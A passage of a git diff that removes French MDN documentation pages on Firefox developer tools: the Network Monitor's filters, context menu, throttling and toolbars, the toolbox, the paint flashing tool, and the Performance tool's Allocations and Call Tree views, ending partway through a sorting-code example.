- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
IcôneSignification
HTTPS
HTTPS faible (un encodage faible par exemple )
HTTPS invalide (un certificat invalide par exemple)
HTTP
Localhost
Indique que l'URL appartient à un traqueur connu qui serait bloqué si le blocage de contenu était activé.
- -

Pour chaque requête HTTPS faible ou ratée, il est possible de voir des détails du problème dans l'onglet Sécurité.

- -

Colonne source

- -

Cette colonne indique la cause de la requête. C'est généralement évident et il est possible de voir la corrélation avec la colonne "Type". Les valeurs les plus courantes sont :

- -
    -
  • document : le document HTML source.
    • -
  • img: élément {{htmlelement("img")}}.
    • -
  • imageset: élément {{htmlelement("img")}}.
    • -
  • script: un fichier JavaScript.
    • -
  • stylesheet: un fichier CSS.
    • -
- -

Chronologie

- -

La liste des requêtes affiche également une chronologie des différentes parties de chaque requête :

- -

La chronologie de chaque requête est donnée relativement aux autres, de telle façon que vous puissiez voir le temps de chargement total. Pour plus d'informations concernant le code couleur utilisé ici, consultez la section Délais de cette page.

- -

La chronologie contient également deux lignes verticales :

- -
    -
  • La ligne bleue marque le point à partir duquel l'évènement DOMContentLoaded de la page est activé.
    • -
  • La ligne rouge marque le point à partir duquel l'évènement load de la page est activé
    • -
- -

Filtrer les requêtes

- -

Il est possible de filtrer le contenu des requêtes par type de contenu, par URL, par s'il s'agit de requêtes XMLHttpRequests ou WebSocket, ou par propriétés de requête.

- -

Bloquer une URL spécifique

- -

Pour voir comme une page s'en sort sans une ressource, il est possible de bloquer une URL spécifique depuis la liste de requêtes.

- -

- -
    -
  1. Survoler la requête voulue.
    2. -
  2. Sélectionner "Bloquer l'URL" dans le menu contextuel.
    3. -
  3. Lors du rechargement de la page, l'URL en question sera bloquée et un message ajouté sur la ligne pour indiquer que la ressources a été bloqué par les outils de développement.
    4. -
- -

- -

Pour débloquer l'URL :

- -

- -
    -
  1. Survoler la requête voulue.
    2. -
  2. Sélectionner "Débloquer l'URL" dans le menu contextuel
    3. -
  3. Lors du rechargement de la page, l'URL en question sera à nouveau disponible.
    4. -
- -

Filtrer par type de contenu

- -

Pour filtrer par type de contenu, il faut utiliser les boutons de la barre d'outils.

- -

Filtrer les requêtes XHR

- -

Pour ne voir que les les requêtes {{Glossary("XHR (XMLHttpRequest)", "XHR")}} , il faut utiliser le bouton "XHR" de la barre d'outils

- -

Filtrer les WebSockets

- -

Pour ne voir que les connections WebSocket, il faut utiliser le bouton "WS" de la barre d'outils

- -

Le module complémentaire WebSocket Sniffer peut également s'avérer utile.

- -

Filtrer par URL

- -

Pour cela, il y a une barre de recherche dans la barre d'outils. Cliquez à l'intérieur, ou faites la combinaison de touches clavier  Ctrl + F (ou Cmd + F sous Mac) , et saisissez votre recherche. La liste des requêtes réseau sera filtrée en fonction de la chaîne de caractère recherchée, sur les parties concernant le "Domaine" ou le "Fichier".

- -

{{EmbedYouTube("HUcWOBBhLHg")}}

- -

Il est possible de filtrer les requêtes qui ne contiennent pas la chaine de caractères recherchée. Il faut pour cela préfixer votre recherche par l'opérateur "-". Par exemple la recherche "-google.fr" affichera toutes les requêtes qui n'ont pas "google.fr" dans leur URL.

- -

Filtrer par propriétés

- -

Pour filtrer par propriétés de requêtes, il faut utiliser la boite de recherche de la barre d'outils. Cette boite reconnait les mot-clés spécifiques qui peuvent être utilisés pour filtrer les requêtes. Un mot-clé doit être suivi de deux points, puis d'une valeur de filtre valide. Les valeurs de filtres ne sont pas sensibles à la case (majuscule ou minuscule). précéder l'expression d'un moins (-) inverse le filtre. Il est possible de combiner différents filtres en les séparant par un espace.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Mot-cléSignificationExemple(s)
status-codeAffiche les ressources avec un code de statut HTTP spécifique.status-code:304
methodAffiche les ressources qui ont été requises par un une méthode HTTP spécifique.method:post
domainAffiche les ressources provenant d'un domaine spécifique.domain:mozilla.org
remote-ipAffiche les ressources provenant d'un serveur à l'adress IP spécifique.remote-ip:63.245.215.53
- remote-ip:[2400:cb00:2048:1::6810:2802]
causeAffiche les ressources qui correspondent à une cause spécifique. Ces types se trouvent dans la colonne source.cause:js
- cause:stylesheet
- cause:img
transferredAffiche les ressources ayant une taille de transfert spécifique, ou une taille proche de celle spécifiée. "k" peut être utilisé comme suffixe pour les killobyte et m pour les megabytes. (1k vaut alors 1024).transferred:1k
sizeAffiche les ressources ayant une taille (après décompression) spécifique, ou une taille proche de celle spécifiée. "k" peut être utilisé comme suffixe pour les killobyte et m pour les megabytes. (1k vaut alors 1024)size:2m
larger-thanAffiche les ressources qui sont plus grandes que la taille spécifiée. "k" peut être utilisé comme suffixe pour les killobyte et m pour les megabytes. (1k vaut alors 1024)larger-than:2000
- -larger-than:4k
mime-typeAffiche les ressources qui coresspondent au type MIME spécifié.mime-type:text/html
- mime-type:image/png
- mime-type:application/javascript
isis:cached et is:from-cache affichent uniquement les ressources venant du cache.
- is:running affiche seulement les ressources en cours de transfert.		is:cached
- -is:running
schemeAffiche les ressources transfére par le "scheme" spécifié.scheme:http
has-response-headerAffiche les ressources qui contienent la "response header HTTP" spécifiée.has-response-header:cache-control
- has-response-header:X-Firefox-Spdy
set-cookie-domainAffiche les ressources qui ont un header Set-Cookie avec un attribut Domain qui correspond à la valeur spécifiée.set-cookie-domain:.mozilla.org
set-cookie-nameAffiche les ressources qui ont un header Set-Cookie avec un nom qui correspond à la valeur spécifiée.set-cookie-name:_ga
set-cookie-valueAffiche les ressources qui ont un header Set-Cookie avec une valeur qui correspond à la valeur spécifiée.set-cookie-value:true
regexpAffiche les ressources dont l'URL correspond l'{{Glossary("regular expression")}} spécifiée.regexp:\d{5}
- regexp:mdn|mozilla
- -

Pour trouver toutes les erreurs 404, il est possible de taper "404" et la recherche complétera automatiquement par "status-code:404" :

- -

- - - -

Un clic droit sur une ligne de la liste affiche un menu contextuel avec les options suivantes :

- -
    -
  • Copier l'URL
    • -
  • Copier les paramètres de l'URL (à partir de Firefox 40)
    • -
  • Copier les données POST  (à partir de Firefox 40, uniquement pour les requêtes POST)
    • -
  • Copier en tant que commande cURL
    • -
  • Copier les En-têtes de la requête (à partir de Firefox 40)
    • -
  • Copier les En-têtes de la réponse (à partir de Firefox 40)
    • -
  • Copier la réponse (à partir de Firefox 40)
    • -
  • Copier l'image comme Data URI (seulement pour les images)
    • -
  • Tout copier en tant qu’HAR (à partir de Firefox 41)
    • -
  • Tout enregistrer en tant qu’HAR (à partir de Firefox 41)
    • -
  • Enregistrer l'image (à partir de Firefox 55, et seulement pour les images)
    • -
  • Modifier et renvoyer
    • -
  • Ouvrir dans un nouvel onglet
    • -
  • Lancer l'analyse des performances pour la page
    • -
- -

Modifier et renvoyer

- -

Cette option ouvre un éditeur qui vous permet de modifier les méthodes de requêtes, les URLs, les paramètres, les en-têtes et de renvoyer la requête.

- -

Ouvrir dans un nouvel onglet

- -

Renvoie la nouvelle requête dans un nouvel onglet. Très utile pour déboguer des requêtes asynchrones.

- -

Copier en tant que commande cURL

- -

Cette option copie la requête réseau dans le presse-papier en tant que commande cURL, de telle sorte que vous puissiez l'exécuter depuis une ligne de commande. La commande peut inclure les paramètres suivants :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-X [METHOD]Si la méthode n'est pas GET ou POST
--datapour les paramètres de requêtes URL encodés
--data-binaryPour les paramètres de requêtes multiparties
--http/VERSIONSi la version de HTTP n'est pas 1.1
-ISi la méthode est HEAD
-H -

Un pour chaque en-tête de requête :

- -

Si l'en-tête  "Accept-Encoding" est présent, la commande cURL inclura --compressed à la place de -H "Accept-Encoding: gzip, deflate". Cela signifie que la réponse sera automatiquement décompressée.

-
- -

Tout copier/enregistrer en tant qu’HAR

- -

Ces options crée une Archive HTTP (HAR) pour toutes les requêtes listées. Ce format permet d'exporter des informations détaillées sur les requêtes réseau. "Tout copier" copie le contenu dans le presse-papiers. "Tout enregistrer" ouvre une fenêtre pour sauvegarder l'archive sur un disque. Le nouveau menu 'HAR' (en haut à droite) inclut également ces options, ainsi qu'une option pour importer un HAR :

- -

- -

Fonctionnalités du Moniteur Réseau

- -

Les articles suivants couvrent les différents aspects de l'utilisation du Moniteur Réseau :

- - diff --git "a/files/fr/outils/moniteur_r\303\251seau/throttling/index.html" "b/files/fr/outils/moniteur_r\303\251seau/throttling/index.html" deleted file mode 100644 index 0e538857c9..0000000000 --- "a/files/fr/outils/moniteur_r\303\251seau/throttling/index.html" +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: Limitation de bande passante -slug: Outils/Moniteur_réseau/Throttling -translation_of: Tools/Network_Monitor/Throttling ---- -

{{ToolsSidebar}}

- -

Le moniteur réseau permet de limiter la bande passante réseau afin de simuler divers types de connexion.

- -

Limitation de la bande passante

- -

La barre d'outils inclut une liste déroulante pour limiter la bande passante. Cela permet d'émuler la vitesse de différents réseaux. Il suffit alors de sélectionner une option dans un menu, et elle persistera à travers les rechargements de la page.

- - - -

- - - -

Les caractéristiques émulées sont :

- -
    -
  • Vitesse de téléchargement
    • -
  • Vitesse de téléversement (upload)
    • -
  • Latence minimum
    • -
- -

Le tableau ci-dessous liste les paramètres associés à chaque type de réseau. Cependant, il n'est pas recommandé de se baser sur ces données pour des mesures exactes de performance. Elles ne sont là que pour donner une idée aproximative de l'experience utilisateur dans ces conditions. Les vitesses sont exprimées en multiples de bits par seconde.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SelectionDownload speedUpload speedMinimum latency (ms)
GPRS50 Kpbs20 Kpbs500
Regular 2G250 Kpbs50 Kpbs300
Good 2G450 Kpbs150 Kpbs150
Regular 3G750 Kpbs250 Kpbs100
Good 3G1.5 Mbps750 Kpbs40
Regular 4G/LTE4 Mbps3 Mbps20
DSL2 Mbps1 Mbps5
Wi-Fi30 Mbps15 Mbps2
- -

Fonctionnalités du Moniteur Réseau

- -

Les articles suivants couvrent les différents aspects de l'utilisation du Moniteur Réseau :

- - diff --git "a/files/fr/outils/moniteur_r\303\251seau/toolbar/index.html" "b/files/fr/outils/moniteur_r\303\251seau/toolbar/index.html" deleted file mode 100644 index da70faa365..0000000000 --- "a/files/fr/outils/moniteur_r\303\251seau/toolbar/index.html" +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Barres d'outils du Moniteur Réseau -slug: Outils/Moniteur_réseau/toolbar -tags: - - '110n:priority' - - Debugging - - Dev Tools - - Firefox - - Guide - - Networking - - Tools -translation_of: Tools/Network_Monitor/toolbar ---- -

{{ToolsSidebar}}

- -

Le moniteur Réseau fournit deux barres d'outils, l'une en haut de la fenêtre, l'autre en dessous.

- -

Barre d'outils

- -

La première barre se trouve en haut de la fenêtre principale :

- -

première barre doutils

- -

Cette barre fournit :

- -
    -
  • Une icône pour vider la liste des requêtes
    • -
  • A box enabling you to filter requests by URL and by properties.
    • -
  • Un tableau d'icônes pour filtrer les requêtes par type : -
      -
    • Par type de contenu de la réponse
      • -
    • Par requêtes XHR
      • -
    • Par upgrade WebSocket (icone "WS")
      • -
    -
    • -
  • Une case à cocher pour "conserver les journaux" (n'effacera pas le contenu lors d'un changement de page ou d'un rafraichissement).
    • -
  • Une case à cocher pour désactiver le cache.
    • -
  • Une liste déroulante, fournissant plusieurs options pour limiter la bande passante
    • -
  • Un menu d'options HAR
    • -
- -

deuxième barre doutils

- -

La deuxième barre d'outils se trouve en bas de la fenêtre :

- -
    -
  • Une icône pour lancer l'analyse de performances
    • -
  • Un résumé des requêtes de cette page, avec leur nombre, leur taille totale et leur durée totale.
    • -
- -

Fonctionnalités du Moniteur Réseau

- -

Les articles suivants couvrent les différents aspects de l'utilisation du Moniteur Réseau :

- - diff --git "a/files/fr/outils/outils_boite_\303\240_outils/index.html" "b/files/fr/outils/outils_boite_\303\240_outils/index.html" deleted file mode 100644 index 5b5987fc71..0000000000 --- "a/files/fr/outils/outils_boite_\303\240_outils/index.html" +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: Boite à Outils -slug: Outils/Outils_boite_à_outils -tags: - - Toolbox - - Tools -translation_of: Tools/Tools_Toolbox ---- -
{{ToolsSidebar}}
- -

La boîte à outils réunit la plupart des outils de développement intégrés à Firefox dans un seul endroit.

- -

Vous pouvez l'ouvrir de plusieurs façons :

- -
    -
  • Sélectionner "Outils de développement" dans le menu "Développement" (dans "Outils" pour OS X et Linux, ou dans "Firefox" sous Windows),
    • -
  • Cliquer sur l'icône en forme de clé à mollette (), dans la barre d'outils principale ou dans le menu (), puis sélectionner "Afficher les outils"
    • -
  • Activer l'un des outils, par exemple le débogueur JavaScript ou l'inspecteur web).
    • -
  • Utiliser le raccourci  Ctrl+ Maj+ I sous Windows ou Linux, ou bien Cmd+ Opt +i pour OS X. Ou bien même utiliser la touche F12. Voir aussi les raccourcis clavier.
    • -
- -

Par défaut, la fenêtre apparait en bas de la fenêtre de navigation, mais il est possible de la détacher. Voici à quoi ressemble la fenêtre en mode attaché :

- -

Cette fenêtre est séparée en deux parties : la barre d'outils en haut et la partie principale en dessous :

- -

- -

Mode d'ancrage

- -

Par défaut, la boîte à outils apparait ancrée en bas de la fenêtre du navigateur. Mais il est possible de l'ancrer sur la droite du navigateur, ou de la faire apparaitre dans sa propre fenêtre. Pour cela il faut utiliser les boutons de la barre d'outils.

- -

Barre d'outils

- -

La barre d'outils contient les boutons pour activer les outils, pour attacher, détacher ou fermer la boîte à outils.

- -

- -

Le sélecteur d'élément

- -

Le bouton à gauche sert à activer le sélecteur. Il permet de sélectionner un élément de la page pour l'inspecter. Voir "Sélectionner un élément".

- -

Outils de la boîte à outils

- -

Il y a ensuite plusieurs boutons vous permettant de naviguer entre les différents outils de la Boîte à outils. La barre peut contenir les boutons suivants :

- - - -

Il est à noter que tous les outils n'apparaitront pas forcément dans la barre : uniquement les outils disponibles sont visibles (par exemple : tous les outils ne prennent pas encore en charge le débogage à distance, donc si la cible du débogage n'est pas la fenêtre active, tous les outils ne seront pas disponibles).

- -

Outils supplémentaires

- -

La barre de boutons à gauche de la barre d'outils peut être personnalisée dans les options de développement. Par défaut, elle inclut :

- - - -

Les outils suivants ne sont pas affichés par défaut mais peuvent être activés via les options :

- - - -

Contrôles de la boîte à outils :

- -

Grâce à ces boutons il est possible de :

- -
    -
  • Fermer la fenêtre.
    • -
  • Choisir entre le mode attaché sur le côté ou en dessous.
    • -
  • Choisir entre fenêtre indépendante ou attachée
    • -
  • Acceder aux options de développement
    • -
- -

Options

- -

Voir la page sur les options des outils de développement.

- -

Panneau principal

- -

Le contenu du panneau principal dans la fenêtre est entièrement contrôlé par, et est spécifique à l'outil actuellement sélectionné.

- -

Raccourcis clavier

- -

{{ Page ("fr/docs/tools/Keyboard_shortcuts", "toolbox-shortcuts") }}

- -

{{ Page ("fr/docs/tools/Keyboard_shortcuts", "all-toolbox-tools") }}

diff --git a/files/fr/outils/paint_flashing_tool/index.html b/files/fr/outils/paint_flashing_tool/index.html deleted file mode 100644 index 408372ebed..0000000000 --- a/files/fr/outils/paint_flashing_tool/index.html +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: Outil de mise en surbrillance des zones repeintes -slug: Outils/Paint_Flashing_Tool -translation_of: Tools/Paint_Flashing_Tool ---- -
{{ToolsSidebar}}
- -

L'outil de mise en surbrillance des zones repeintes lorsqu’il est activé met en surbrillance les parties de la page que le navigateur doit repeindre en réponse à un changement. Par exemple, lorsque l'utilisateur fait défiler, certains blocs vont être repeints. Avec l'aide de cet outil, il est possible de savoir si votre site web cause plus de repaint qu'il ne devrait. C'est important, car les repaints peuvent être des opérations très couteuses. Ainsi, éliminer les repaints inutiles peut améliorer la réactivité de votre site web.

- -

Les Repaints et la réactivité

- -

Lorsque le navigateur affiche une page web, il parse l'HTML et le CSS, détermine comment l'organiser et ensuite le peint pour pouvoir afficher du contenu sur l'écran. Lorsqu'un évènement qui peut changer une partie visible de la page se produit, le navigateur doit alors repeindre une partie de la page. Par exemple, un repaint sera nécessaire si l'utilisateur scrolle la page ou, place son curseur sur un élément disposant de la pseudo classe :hover qui change le style de l'élément.

- -

Repeindre peut être une opération couteuse, le navigateur essaie donc de minimiser la partie à repeindre au maximum. Le navigateur essaie de trouver quelles parties de l'écran sont "endommagées" et ne repeint que celles-ci. Le navigateur sépare également le modèle de la page en couches qui vont à son avis être mises à jour indépendamment les unes des autres. Ainsi, le changement d'une couche n'oblige pas un repaint sur une autre couche, et lorsque le changement n'affecte qu'une relation entre deux couches (une animation par exemple) aucun repaint n'est nécessaire.

- -

Les choix faits par un développeur web peuvent gêner le navigateur, lui imposant de faire plus de repaints et sur de plus grandes surfaces que nécessaire. Cela peut causer des pertes de réactivité dans les saisies utilisateur (aussi connu sous le nom de "janky"). C'est dans ces moments-là que l'outil de mise en surbrillance des zones repeintes s'avère utile : En montrant les zones que le navigateur repeint en réponse à un évènement, il est possible de voir s’il repeint plus que de raison.

- -

Utiliser l'outil de mise en surbrillance des zones repeintes

- -

Ouvrir la Boite à outils, puis cliquer sur l'icône nommée "afficher en surbrillance les zones repeintes" :

- -

- -

Après cela, les zones repeintes seront mises en surbrillance. Ainsi, après avoir bougé la souris et scrollé, la page ressemble à ceci :

- -

Dans cet exemple il y a deux sources de repaints principales :

- -
    -
  • Survoler des liens avec la souris font que le navigateur les repeint, ceux-ci ont en effet la pseudo-classe :hover.
    • -
  • Scroller fait que le navigateur repeint la partie de la page qui deviens visible au bas de la page, et également la barre de défilement en haut à droite.
    • -
- -

Pour désactiver l'outil, il faut cliquer à nouveau sur le bouton de la boite à outils.

- -

Exemple : transitions CSS

- -

Un domaine dans lequel les choix d'implémentation impactent l'efficacité est les transitions CSS. L'exemple ce dessous montre deux façons différentes de déplacer un élément en utilisant une transition CSS. La première méthode applique la transition à la margin-left de l'élément, alors que la deuxième méthode déplace l'élément en utilisant la propriété transform.

- -
<body>
-    <div id="container">
-      <div class="moving-box" id="moving-box-left-margin">Transition utilisant margin-left</div>
-      <div class="moving-box" id="moving-box-transform">Transition utilisant transform</div>
-    </div>
-</body>
-
-
- -
#container {
-  border: 1px solid;
-}
-
-.moving-box {
-  height: 20%;
-  width:20%;
-  margin: 2%;
-  padding: 2%;
-  background-color: blue;
-  color: white;
-  font-size: 24px;
-}
-
-#moving-box-left-margin {
-  transition: margin-left 4s;
-}
-
-#moving-box-transform {
-  transition: transform 4s;
-}
-
-body:hover #moving-box-left-margin{
-  margin-left: 74%;
-}
-
-body:hover #moving-box-transform {
-  transform: translate(300%);
-}
- -

Pour voir la transition, placez la souris dans l'espace ce dessous :

- -

{{ EmbedLiveSample('Exemple_transitions_CSS', 600, 300) }}

- -

Maintenant, activez l'outil puis essayez à nouveau. Il apparait alors que la version "margin-left" cause une série de repaints tout au long du déplacement de l'élément, alors que la version "transform" ne cause qu'un repaint au début et à la fin.

- -

Pourquoi ? Parce que lors de l'utilisation de transform, le navigateur crée une couche séparée pour l'élément. Ainsi lorsque celui est déplacé, la seule chose qui est changée c'est la relation entre les deux couches, ce qui est géré lors de la composition. Ainsi, aucune des deux couches n'a besoin de repaint.

- -

Dans ce cas, avec un style très simple, les différences de performance ne se font pas réellement ressentir. Cependant, si le style était couteux en performance, la différence pourrait être importante. Il est difficile de savoir quelles optimisations le navigateur fait pour économiser des repaints, et celles-ci peuvent changer d'une version à une autre. Ainsi tester votre site avec cet outil permet de s'assurer qu'il fonctionne toujours de façon optimale.

diff --git a/files/fr/outils/performance/allocations/index.html b/files/fr/outils/performance/allocations/index.html deleted file mode 100644 index 21cdf3b008..0000000000 --- a/files/fr/outils/performance/allocations/index.html +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: Allocations -slug: Outils/Performance/Allocations -translation_of: Tools/Performance/Allocations ---- -
{{ToolsSidebar}}
-

La vue Allocations de l'outil Performance affiche quelles fonctions dans une page web allouent le plus de mémoire durant le profil.

- -

C'est important pour la performance, car allouer beaucoup de mémoire ou faire beaucoup d'allocations peut activer le ramasse-miette (garabage collector). Celui-ci peut affecter la réactivité de la page.

-
- -
-

La vue Allocations est une des nouveautés de Firefox 46.

-
- -

Pour activer la vue Allocations, il faut activer l'option "Enregistrer les Allocations" dans les options de l'outil Performance, avant d'enregister un profil. Il faut ensuite enregistrer un profil, un nouvel onglet nommé "Allocations" apparaitra alors dans la barre d'outils :

- -

{{EmbedYouTube("Le9tTo7bqts")}}

- -

Anatomie de la vue allocations

- -

La vue allocations ressemble à ceci :

- -

- -

Cette vue fait périodiquement des échantillons des allocations qui sont faites durant l'enregistrement. Chaque ligne représente une fonction pour laquelle au moins un échantillon d'allocation a été pris durant l'enregistrement.

- -

La vue inclut les colonnes suivantes :

- -
    -
  • Self Count: Le nombre d'échantillons d'allocations qui ont été prises dans cette fonction (affiché également en pourcentage du total)
    • -
  • Self Bytes: Le nombre total d'octets qui ont été alloués dans les échantillons d'allocations dans cette fonction (affiché également en pourcentage du total)
    • -
- -

Les lignes sont triées par la colonne "Self Bytes".

- -

Anisi dans l'exemple ci-dessus :

- -
    -
  • 8904 échantillons ont été pris dans la fonction signalLater(), ce qui représente 28.57% du nombre total d'échantillons pris.
    • -
  • Ces échantillons ont alloué 1102888 octets, ce qui représente 30.01% de la taille totale de mémoire alloué par tous les échantillons.
    • -
- -

À côté de chaque nom de fonction, se trouve une flèche de développement. Cliquer sur celle-ci affichera l'endroit d'où la fonction a été appelée :

- -

- -

Ici, il est possible de voir que signalLater() a été appelée depuis deux endroits : removeInner() et setSelectionInner(). Il est ainsi possible de remonter l'arbre d'appel et de mieux comprendre le contexte de ces allocations.

- -

Self Cost et Total Cost

- -
    -
- -

Les colonnes de coût sont séparées en "Self" et en "Total". La colonne "Self" correspond aux échantillons pris seulement dans cette fonction. La colonne "Total" correspond aux échantillons pris dans cette fonction ou dans les fonctions appelées par cette fonction. Au premier niveau, ces deux colones sont les mêmes, vu que la vue représente les dernières fonctions (il s'agit d'une vue inversée de l'arbre d'appel). Mais, si l'on remonte l'arbre en développant les lignes, alors la différence devient visible.

- -

- -

Ici, 8904 échantillons ont été pris dans signalLater(). Mais signalLater() a été appelé depuis deux endroits : removeInner() et setSelectionInner(). Mais ces deux fonctions ont 0 en Self Count, ce qui veut dire qu'aucune allocation n'a été faite depuis ces fonctions. Cependant removeInner() a 8901 en Total Count, tandis que setSelectionInner() a seulement 3 en Total Count. Cela révèle que sur les 8904 allocations faites dans signalLater(), toutes sauf trois proviennent de la branche removeInner().

- -

Allocations et garbage collection

- -

Bien sûr, en savoir plus sur l'utilisation mémoire d'un site est très utile. Cependant la connexion principale entre la réactivité d'un site et le profil d'allocation réside dans le coût de la garbage collection (GC) (ramasse-miette).

- -

Dans un langage à ramasse miette comme JavaScript, le runtime a périodiquement besoin de parcourir la heap à la recherche d'objets qui ne sont plus accessibles, pour libérer l'espace mémoire qu'ils occupent. Lors du passage du ramasse-miette, le moteur JavaScript doit être mis en pause, le programme est donc suspendu et ne répondra pas.

- -

Pour réduire l'impact de ce phénomène sur la réactivité des sites, SpiderMonkey (le moteur JavaScript de Firefox) possède un ramasse-miette incrémental. Celui-ci procède par petites étapes, lassant le programme tourner entre chaque incrémentation. Quelques fois cependant le moteur a besoin de réaliser un passage complet non incrémental et le programme doit alors attendre la fin du nettoyage.

- -

Les passages du ramasse-miette sont affichés en rouge dans la vue Chronologie, et sont des véritables points noirs pour la réactivité, ils peuvent en effet prendre jusqu'a des centaines de millisecondes :

- -

- -

Que faire en cas de passage intempestif du ramasse-miette ? SpiderMonkey utilise un ensemble complexe d'heuristiques pour déterminer quand et quel type de passage de ramasse-miette est nécessaire.

- -

En général, cependant : "l'allocation pressure" - allouer beaucoup de mémoire ou allouer de la mémoire a haute fréquence - tend a augmenter la probabilité de SpiderMonkey à ordonner le passage du ramasse-miette, et tend également a faire plus de passages non incrémentaux.

- -

Si un passage du ramasse-miette a été causé par de "l'allocation pressure", alors le panneau droit du marqueur dans la vue Chronologie contient un lien nommé "Show allocation triggers". Cliquer sur celui-ci passe la vue en vue allocations et sélectionne la période de temps entre la fin du dernier passage du ramasse-miette et le début de celui qui a été cliqué. Cela révèle toute les allocations qui ont amené à déclencher ce passage du ramasse-miette :

- -

{{EmbedYouTube("tO5ovD9Jw4k")}}

- -

Si vous rencontrez ces problèmes, il est conseillé d'essayer de réduire la taille de vos allocations. Par exemple :

- -
    -
  • Est-il possible d'allouer de la mémoire en "lazy load", lorsqu'elle est nécessaire plutôt que de l'allouer en avance ?
    • -
  • Si vous allouez de la mémoire dans une boucle, pouvez-vous réutiliser une seule allocation dans chaque itération ?
    • -
diff --git a/files/fr/outils/performance/call_tree/index.html b/files/fr/outils/performance/call_tree/index.html deleted file mode 100644 index e8a3447894..0000000000 --- a/files/fr/outils/performance/call_tree/index.html +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: Arbre d'appels -slug: Outils/Performance/Call_Tree -translation_of: Tools/Performance/Call_Tree ---- -
{{ToolsSidebar}}
- -
-

L'arbre d'appel permet de savoir dans quelles fonctions JavaScript le navigateur passe le plus de temps. En analysant ces résultats, il est possible de trouver les points noirs du code (les endroits ou le navigateur passe beaucoup trop de temps).

- -

Ces points noirs sont les endroits où les optimisations auront le plus grand impact.

-
- -

L'arbre d'appel est un profileur par échantillons. Il prend périodiquement des échantillons de l'état du moteur JavaScript, et enregistre la pile pour le code s'exécutant dans ce moment. Statistiquement, le nombre d'échantillons dans lequel on exécute une fonction en particulier correspond au temps que le navigateur passe à l'exécuter. Il est alors possible de trouver les points noirs de votre code.

- -
-

Cet article utilisera le résultat d'un programme simple comme exemple. Si vous voulez récupérer ce programme pour expérimenter l'outil vous-même, il est disponible ici. Vous pouvez trouver le profil discuté dans cet article ici - importez juste le profil dans l'outil Performance pour pouvoir voir le profil utilisé dans cet article.

- -

Il y a une courte page décrivant la structure du programme disponible ici.

- -

Il est à noter que le même programme et le même profil est utilisé pour la page de documentation sur le Flame Chart.

-
- -

La capture d'écran ci-dessous montre les résultats d'un programme qui compare trois différents algorithmes de tri (tri à bulle, tri par sélection et tri rapide). Pour faire cela, il génère un nombre de tableaux remplis avec des int aléatoires et les tris avec chaque algorithme.

- -

Nous avons zoomé dans une partie de l'enregistrement qui montre un long marker JavaScript :

- -

- -

L'arbre d'appel présente les résultats dans un tableau. Chaque ligne représente une fonction dans laquelle au moins un échantillon a été pris, et les lignes sont classées par nombre d'échantillons pris dans la fonction.

- -

Échantillons correspond au nombre d'échantillons pris lors de de l'exécution de la fonction. Cela inclu ses enfants (les autres fonctions appelées par cette fonction).

- -

Durée Totale correspond est ce nombre, traduit en millisecondes, basées sur le temps total couvert par la portion sélectionnée de l'enregistrement. Ces deux nombres devraient être approximativement les même.

- -

Cout Total correspond à ce nombre traduit en pourcentage du nombre total d'échantillons dans la portion sélectionnée de l'enregistrement.

- -

Coût individuel correspond au temps passé dans cette fonction en particulier, sans inclure ses enfants. Cela vient de la pille capturé lorsque cette fonction est la plus basse.

- -

Durée individuelle est calculé depuis Coût individuel comme un pourcentage du nombre total d'échantillons dans la portion sélectionnée de l'enregistrement.

- -

Dans la version actuelle de l'arbre d'appel, ce sont les colones les plus importantes. Les fonctions avec un Cout individuel important sont de bons candidats pour de l'optimisation, soit parce qu’elles prennent beaucoup de temps à s'exécuter, soit parce qu'elles sont appelées très souvent.

- -

Cette capture d'écran révèle ce que l'on savait déjà : bubbleSort() est un algorithme très inefficace. Il y a à peu près 6 fois plus d'échantillons dans bubbleSort() que de dans selectionSort(), et 13 fois plus dans que dans quickSort().

- -

Se déplacer dans l'arbre d'appel

- -

A coté de chaque nom de fonction, se trouve une flèche d'expansion : cliquer sur celle-ci révèle le chemin allant de l'appel de la fonction jusqu'a la racine. Par exemple, il est possible d'étendre l'entrée pour bubbleSort() :

- -

- -

On peut donc voir que le graphique d'appel est comme ceci :

- -
sortAll()
-
-    -> sort()
-
-        -> bubbleSort()
- -

Notez également que le Cout individuel pour sort() est ici de 1.45%, et notez également que ce chiffre est le même pour une autre ligne de sort() plus tard dans la liste. Cela révèle que quelques échantillons ont été pris dans sort() elle-même plutôt que dans la fonction qu'elle appelle.

- -

Quelques fois, il y a plus d'un chemin menant à la même fonction. Essayons par exemple d'étendre la ligne de swap():

- -

- -

Il y a 253 échantillons qui ont été pris à l'intérieur de swap(). Mais swap() a été accédé par deux chemins différents car bubbleSort() et selectionSort() l'utilisent tous deux. Il est également possible de voir que 252 des 253 échantillons ont été pris dans la branche bubbleSort(), et uniquement un dans la branche selectionSort().

- -

Cela signifie que le tri à bulle est encore moins efficient que ce que l'on pensait ! La fonction coute 252 échantillons de plus, soit 10% de cout supplémentaire.

- -

Avec ce genre de recherche, il est possible de déduire le graphique d'appel complet, avec le nombre d'échantillons associés :

- -
sortAll()                         //    8
-
-    -> sort()                     //   37
-
-        -> bubbleSort()           // 1345
-
-            -> swap()             //  252
-
-        -> selectionSort()        //  190
-
-            -> swap()             //    1
-
-        -> quickSort()            //  103
-
-            -> partition()        //   12
- -

Données de la plateforme

- -

Vous pouvez également remarquer des lignes nommées Gecko, Input & Events, et ainsi de suite. Cela représente les appels internes au navigateur.

- -

Cela peut être utile comme informations. Par exemple si votre site donne beaucoup de travail au navigateur. Ces échantillons ne sont peut-être pas pris dans votre code, mais c'est quand même votre problème.

- -

Dans notre exemple, il y a 679 échantillons assignés à Gecko - le deuxième plus gros groupe après bubbleSort(). étendons donc cela :

- -

- -

Cela révèle que 614 de ces échantillons, soit environ 20% du cout total, viennent de l'appel de sort(). Si nous regardons au code de la fonction, il devient évident que le cout élevé des données de plateforme viennent des appels répétés à console.log():

- -
function sort(unsorted) {
-  console.log(bubbleSort(unsorted));
-  console.log(selectionSort(unsorted));
